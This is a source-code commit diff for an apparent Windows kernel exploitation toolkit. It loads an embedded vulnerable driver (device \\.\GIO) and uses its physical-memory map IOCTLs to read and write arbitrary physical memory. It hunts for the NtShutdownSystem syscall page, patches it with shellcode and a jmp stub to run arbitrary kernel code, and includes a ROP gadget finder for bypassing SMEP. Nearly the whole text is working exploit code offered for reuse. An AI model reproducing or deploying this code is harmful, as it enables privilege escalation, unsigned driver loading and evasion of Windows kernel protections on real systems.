||||||
|
auto full_path = std::string(
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName));
|
||||||
|
|
||||||
|
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||||
|
|
||||||
|
const auto module_base =
|
||||||
|
LoadLibraryExA(
|
||||||
|
full_path.c_str(),
|
||||||
|
NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES
|
||||||
|
);
|
||||||
|
|
||||||
|
const auto image_base =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
modules->Modules[idx].ImageBase);
|
||||||
|
|
||||||
|
// free the RTL_PROCESS_MODULES buffer...
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
|
||||||
|
const auto rva =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
GetProcAddress(module_base, export_name)) -
|
||||||
|
reinterpret_cast<std::uintptr_t>(module_base);
|
||||||
|
|
||||||
|
return image_base + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace pe
|
||||||
|
{
|
||||||
|
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||||
|
|
||||||
|
// returns an std::vector containing all of the bytes of the section
|
||||||
|
// and also the RVA from the image base to the beginning of the section...
|
||||||
|
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||||
|
{
|
||||||
|
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||||
|
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto _section_name =
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
section_header[idx].Name);
|
||||||
|
|
||||||
|
// sometimes section names are not null terminated...
|
||||||
|
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
|
||||||
|
{
|
||||||
|
const auto section_base =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
module_base + section_header[idx].VirtualAddress);
|
||||||
|
|
||||||
|
const auto section_end =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
section_base + section_header[idx].Misc.VirtualSize);
|
||||||
|
|
||||||
|
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||||
|
return { section_bin, section_header[idx].VirtualAddress };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||||
|
{
|
||||||
|
if (!module_base)
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||||
|
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto _section_name =
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
section_header[idx].Name);
|
||||||
|
|
||||||
|
// keep looping until the callback returns false...
|
||||||
|
if (!callback(§ion_header[idx], module_base))
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace rop
|
||||||
|
{
|
||||||
|
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||||
|
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||||
|
// just implimented the rop information from these posts...
|
||||||
|
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||||
|
{
|
||||||
|
std::uintptr_t result = 0u;
|
||||||
|
kmodule::each_module(
|
||||||
|
[&](auto kernel_image, const char* image_name) -> bool
|
||||||
|
{
|
||||||
|
utils::pe::each_section(
|
||||||
|
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||||
|
{
|
||||||
|
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||||
|
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||||
|
{
|
||||||
|
const auto rop_gadget =
|
||||||
|
utils::scan(image_base + section_header->VirtualAddress,
|
||||||
|
section_header->Misc.VirtualSize, sig, mask);
|
||||||
|
|
||||||
|
if (rop_gadget)
|
||||||
|
result = (rop_gadget - image_base) +
|
||||||
|
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||||
|
|
||||||
|
return !rop_gadget;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
LoadLibraryExA(image_name,
|
||||||
|
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||||
|
);
|
||||||
|
return !result;
|
||||||
|
}
|
||||||
|
);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,139 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../util/utils.hpp"
|
||||||
|
#include "../util/loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
|
||||||
|
#define MAP_PHYSICAL 0xC3502004
|
||||||
|
#define UNMAP_PHYSICAL 0xC3502008
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _gdrv_t
|
||||||
|
{
|
||||||
|
unsigned long interface_type;
|
||||||
|
unsigned long bus;
|
||||||
|
std::uintptr_t phys_addr;
|
||||||
|
unsigned long io_space;
|
||||||
|
unsigned long size;
|
||||||
|
} gdrv_t, *pgdrv_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
vdm::raw_driver,
|
||||||
|
sizeof(vdm::raw_driver)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != STATUS_SUCCESS)
|
||||||
|
return { {}, {}, result };
|
||||||
|
|
||||||
|
vdm::drv_handle = CreateFileA(
|
||||||
|
"\\\\.\\GIO",
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key, result };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||||
|
{
|
||||||
|
if (!CloseHandle(drv_handle))
|
||||||
|
return STATUS_FAIL_CHECK;
|
||||||
|
|
||||||
|
return driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, out_buffer[0], size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(out_buffer[0], buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,103 @@
|
|||||||
|
#include "vdm_ctx.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||||
|
:
|
||||||
|
read_phys(read_func),
|
||||||
|
write_phys(write_func)
|
||||||
|
{
|
||||||
|
// already found the syscall's physical page...
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
return;
|
||||||
|
|
||||||
|
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||||
|
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES));
|
||||||
|
|
||||||
|
vdm::nt_rva =
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
syscall_hook.first
|
||||||
|
) - utils::kmodule::get_base("ntoskrnl.exe");
|
||||||
|
|
||||||
|
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||||
|
// for each physical memory range, make a thread to search it
|
||||||
|
std::vector<std::thread> search_threads;
|
||||||
|
for (auto ranges : utils::pmem_ranges)
|
||||||
|
search_threads.emplace_back(std::thread(
|
||||||
|
&vdm_ctx::locate_syscall,
|
||||||
|
this,
|
||||||
|
ranges.first,
|
||||||
|
ranges.second
|
||||||
|
));
|
||||||
|
|
||||||
|
for (std::thread& search_thread : search_threads)
|
||||||
|
search_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||||
|
{
|
||||||
|
this->read_phys = read_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||||
|
{
|
||||||
|
this->write_phys = write_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||||
|
{
|
||||||
|
const auto page_data =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
VirtualAlloc(
|
||||||
|
nullptr,
|
||||||
|
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||||
|
{
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||||
|
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||||
|
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||||
|
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||||
|
syscall_address.store(
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
address + page + nt_page_offset));
|
||||||
|
}
|
||||||
|
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 48 31 c0 xor rax, rax
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||||
|
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result == STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,71 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string_view>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <functional>
|
||||||
|
#include "../vdm/vdm.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
// change this to whatever you want :^)
|
||||||
|
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||||
|
inline std::atomic<bool> is_page_found = false;
|
||||||
|
inline std::atomic<void*> syscall_address = nullptr;
|
||||||
|
inline std::uint16_t nt_page_offset;
|
||||||
|
inline std::uint32_t nt_rva;
|
||||||
|
inline std::uint8_t* ntoskrnl;
|
||||||
|
|
||||||
|
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||||
|
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||||
|
|
||||||
|
class vdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||||
|
void set_read(read_phys_t& read_func);
|
||||||
|
void set_write(write_phys_t& write_func);
|
||||||
|
|
||||||
|
template <class T, class ... Ts>
|
||||||
|
__forceinline std::invoke_result_t<T, Ts ...> syscall(void* addr, Ts ... args) const
|
||||||
|
{
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
// jmp [rip+0x0]
|
||||||
|
std::uint8_t jmp_code[] =
|
||||||
|
{
|
||||||
|
0xff, 0x25, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||||
|
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||||
|
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
// execute hook...
|
||||||
|
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||||
|
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||||
|
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||||
|
bool valid_syscall(void* syscall_addr) const;
|
||||||
|
|
||||||
|
read_phys_t read_phys;
|
||||||
|
write_phys_t write_phys;
|
||||||
|
};
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
#include <ntddk.h>
|
||||||
|
|
||||||
|
// NOTE: this driver has a custom entry point (drv_entry), if you make a new project
|
||||||
|
// please change the driver entry in linker settings... You will also need to disable
|
||||||
|
// CFG in c++ --> code generations, along with GS...
|
||||||
|
auto drv_entry(uintptr_t drv_base) -> NTSTATUS
|
||||||
|
{
|
||||||
|
DbgPrint("> drv base -> 0x%p\n", drv_base);
|
||||||
|
return STATUS_SUCCESS;
|
||||||
|
}
|
@ -0,0 +1,14 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="drv_entry.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
Loading…
Reference in new issue